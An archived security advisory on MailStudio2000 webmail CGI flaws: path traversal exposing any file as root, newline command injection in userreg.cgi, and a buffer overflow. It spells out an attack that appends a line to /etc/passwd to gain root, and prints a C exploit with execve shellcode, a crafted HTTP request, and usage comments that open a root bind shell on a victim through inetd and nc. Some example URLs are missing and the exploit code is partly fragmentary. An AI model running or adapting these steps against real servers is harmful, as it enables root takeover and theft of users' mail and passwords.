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TUCoPS :: Web :: Apps :: mstudio2.htm

MailStudio2000 CGI retrieve arbitrary files (as root!)



    All systems running MailStudio2000 2.0 and lower versions


    Credit for  discovering the  initial 'file  viewing' vulnerability
    in one  cgi, mailview,  goes to  Naif; subsequent  probes by vecna
    and FuSyS.  Credit for userreg 'command execution' goes to FuSyS.

    There are at least two distinct  bugs.  Any user who can  remotely
    login to MailStudio2000,  can view any  file on the  system.  This
    implies other users'  e-mail is nomore  private, nor is  the login
    and password  dbase, nor  the configuration  files of  the running
    system.  This  has a medium  level impact on  the security of  the
    system,  as  the  CGI  programs  run  with  root  permissions  and
    privileges, permitting the attacker  to look at the  passwd/shadow
    files, home directories, log files ...

    Not least important,  all other users'  e-mail is readable  by the
    attacker.   Consider  this  as  important,  as MailStudio is being
    sold to lots of  web sites and it  is also possible to  use search
    engines  such  as  AltaVista  to  search  for compromisable hosts,
    which run these CGIs.

    The worst problem however is a poor input validation in a specific
    CGI which  accesses the  shell to  execute a  command. Injecting a
    single non filtered char, we can make the remote host execute  any
    command we wish.

    1) Read, and knowledge will be thine ...
    MailStudio2000  is  a  web  based  e-mail  server  solution   from  It's included in  the retail version of RedHat  Linux
    6.1 and has been reviewd by LinuxJournal and Dave's Central.  From
    3RSoft website:

        "Over 10 millions mailboxes worldwide"

    It's  functionality  rotates  around  a  group of CGI applications
    contained in  the cgi-auth  directory of  the binary distribution.
    While  on  the  homepage  the  seller  clearly  states  that   the
    confidentiality of users' e-mail will be preventatively protected,
    the developers missed one of  the most common problems:   check of
    user input in jailed environements,  to protect the bypass of  the
    root directory  and the  examination of  other, sensitive  or not,

    This  is  exactly  what  was  found  here.   Seems  that every CGI
    application in cgi-auth directory contains the same problem.   The
    server can look through authorized  users, so we must first  login
    with a valid user and password.  The problem is, this software  is
    mostly used for FREE web-mail  services; so just register and  get
    going.   After  the  logon  we  can  easily  call  one of the CGI,
    mailview.cgi as:


    It's interesting to  note that simply  using /etc/passwd as  value
    for the  html parameter  will not  work, as  the environement  has
    changed the root directory.  The  number of '..' you are going  to
    use changes accordingly to the CWD of the MailStudio2000 software.
    In this case simply '/home/sysop/mailstudio2k/'.

    Just to show that every CGI seems affected, here is an example:


    Why is this important?   MailStudio2000 runs as root, by  default.
    This means /etc/shadow  is readable as  well.  Every  users' mail,
    via /var/spool/mail/ or ~/userdb/login_name/inbox can be  snooped.
    /etc/mailstudio.conf  will  merrily  give  away the administration
    port and the license key, if you didn't have a commercial one.

    Once we know the administration password, grabbed from the  passwd
    or shadow  file, we  can have  access to  the sysop  menu and even
    disable  other  people's  accounts.   These  problems  and  attack
    options pose  a great  risk to  users' privacy  and heavily affect
    the security of the product.

    (2) Act, and thou shalt be free ...
    This is obviously  the worst problem  which is readily  evident in
    this server.  The CGI application userreg.cgi is used to  register
    new users before they  can login to the  server.  The problem  is,
    anyone can execute it. This CGI simply executes a

        useradd -s /bin/noshell -p password %s

    The login name string, %s, is filtered out of capital  characters,
    blank spaces and special characters, so just inserting ';' or  '&'
    will reach nowhere.

    While  trying  to  escape  via  other  chars by using every single
    parameter, we noted that the simple \x0a char is accepted, as long
    as there are NO spaces in the string. And obviously, in the  error
    logs we  saw instances  of the  shell complaining  for not  having
    found our %s2 (as  in %s1\x0a%s2).  So  we can just execute  every
    application we can.  This is a really powerful option,  especially
    when combined with the previous read-all possibility.

    The hard  point is,  we don't  seem able  to get  a workable blank
    space to execute more complex command lines.  So, while leaving to
    your fantasy and personal  delight, the right to  explore, command
    and conquer, we'll just make sure everybody understands this is  a
    trivial joke, if elegance is not on your agenda:

    - simply  email yourself,  a normal  registered web  mail user,  a
      mail, containing in  the headers, or  in the body  a single line
      like this,


      and then

    - simply use the faulty CGI to execute something like this,

        cat < /var/spool/mail/your_login >> /etc/passwd

      to simply put the previous line  in the password file.  Now  you
      can choose to login with a normal account, as youi can steal the
      password and shadow files, this ought not be a problem, and then
      su - to spj.  (Obviously  you can add more nifty lines  via this
      e-mail  trick  ...).   Or   change  this  way  /etc/shadow   and
      /etc/securetty ...  but we are sure you can easily find ways  of
      executing a nice xterm back to your X server.  Oh sure, here  is
      the faulty CGI [word-wrapped]:


    There are many other occurences of Internal Server Errors that can
    be traced to small problems of input validation which could result
    in more serious bugs, and could make the problem worse,  regarding
    server security.

    According to Vanja Hrustic there is also a buffer overflow  exists
    in userreg.cgi, which enables  remote user to execute  any command
    as root.  It  is also possible to  change the password for  system
    users, which  don't have  the password  already (like  'operator',
    'gopher', etc.).  And probably  some more (it was pointless  going
    any further - apps seem to be full of holes).

    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
     * executes command as root.mail
     * usage: userregsp [-s retaddr] [-a shellcodeoffset] [-o offset]
     *  [-c command]  | nc <host> <port>
     * problems:
     * usually commandline gets truncated after 42 characters.
     * sometimes shellcode might be damaged, to get around this you'd have to split
     * command into few parts or move shellcode on different place. (-a argument)
     * f.e.
     * ./userregsp "echo -n 1524 stream tcp nowait r>>/tmp/.o" | nc victim 8080
     * ./userregsp "echo oot /bin/sh sh -i >>/tmp/.o" | nc victim 8080
     * ./userregsp "/usr/sbin/inetd /tmp/.o" | nc victim 8080
     * telnet victim 1524
     * Here I found possible stack addresses which might be of some help:
     * 0xbfffe6a4 -- when correct `Referer: ....' header has been passed
     * 0xbfffe578 -- when incorrect `Referer: ..' header has been passed
     * 0xbfffe598 -- when `Referer: ..' header is not present.
     *  ...
     * Mon Apr 24 20:14:31 ICT 2000  --
    #define TALKING "POST /cgi-auth/userreg.cgi HTTP/1.0\n"\
    "Connection: Keep-Alive\n"\
    "User-Agent: Mozilla/4.7 [en] (X11; U; Linux 2.2.13 i586)\n"\
    "Host: mailstudio_server:8081\n"\
    "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n"\
    "Accept-Encoding: gzip\n"\
    "Accept-Language: en\n"\
    "Accept-Charset: iso-8859-1,*,utf-8\n"\
    "Cookie: lang=eng; tnum=1\n"\
    "Content-type: application/x-www-form-urlencoded \n"\
    "Content-length: 179\n\n"\
    #define BUF_SIZE 1024
    char shellcode[]=
    "\xeb\x2e" //           jmp    80483dc <tail>
    "\x5e"     //           popl   %esi
    "\x89\x76\x70"   //     movl   %esi,0x70(%esi)
    "\x8d\x46\x08"   //     leal   0x18(%esi),%eax
    "\x89\x46\x74"   //     movl   %eax,0x74(%esi)
    "\x8d\x46\x0b"   //     leal   0x1b(%esi),%eax
    "\x89\x46\x78"   //     movl   %eax,0x78(%esi)
    "\x31\xc0"       //     xorl   %eax, %eax
    "\x88\x46\x07"   //     movb   %al,0x7(%esi)
    "\x88\x46\x0a"   //     movb   %al,0xa(%esi)
    "\x89\x46\x7c"   //     movl   %eax,0x7c(%esi)
    "\xb0\x0b"       //     movb   $0xb, %al
    "\x89\xf3"       //     movl   %esi, %ebx
    "\x8d\x4e\x70"   //     leal   0x70(%esi), %ecx
    "\x8d\x56\x7c"   //     leal   0x74(%esi), %edx
    "\xcd\x80"      //      int    $0x80
    "\x31\xdb"      //      xorl   %ebx,%ebx
    "\x89\xd8"      //      movl   %ebx,%eax
    "\x40"         //       incl   %eax
    "\xcd\x80"      //      int    $0x80
    "\xe8\xcd\xff\xff\xff"//        call   80483ae <callback>
    extern char *optarg;
    void main(int argc, char **argv) {
    char buf[BUF_SIZE+1];
    char *foo;
    char *command, c;
    unsigned long retaddr,bp, offset, shelloffset;
    /* defaults */
    command="/bin/touch /tmp/0wn3d";
    offset = 16;
    shelloffset = 24;
    while((c = getopt(argc, argv, "s:c:")) !=EOF)
            switch(c) {
                    case 's':
                            retaddr = strtoul(optarg,NULL,0);
                    case 'a':
                            shelloffset = strtoul(optarg,NULL,0);
                    case 'o':
                            offset = strtoul(optarg,NULL,0);
                    case 'c':
                            command = optarg;
                            if (strlen(command) > 42)
                                    fprintf(stderr,"WARNING: your command line "
                                    "might get truncated!\n");
                            fprintf(stderr, "usage %s [-c command] [-s retaddr]"
                            " [-o offset] [-a shelloffset]\n", argv[0]);
     *foo++ = (bp >> 0) & 0xff;
     *foo++ = (bp >> 8) & 0xff;
     *foo++ = (bp >>16) & 0xff;
     *foo++ = (bp >>24) & 0xff;
     *foo++ = (retaddr >> 0) & 0xff;
     *foo++ = (retaddr >> 8) & 0xff;
     *foo++ = (retaddr >>16) & 0xff;
     *foo++ = (retaddr >>24) & 0xff;
      * you can get outside the buffer boundaries here but I don't care. Very long
      * command lines would be damaged by shellcode or truncated anyway..
     printf(TALKING, buf);


    3RSoft, developer and seller of MailStudio2000 has been  contacted
    and informed.

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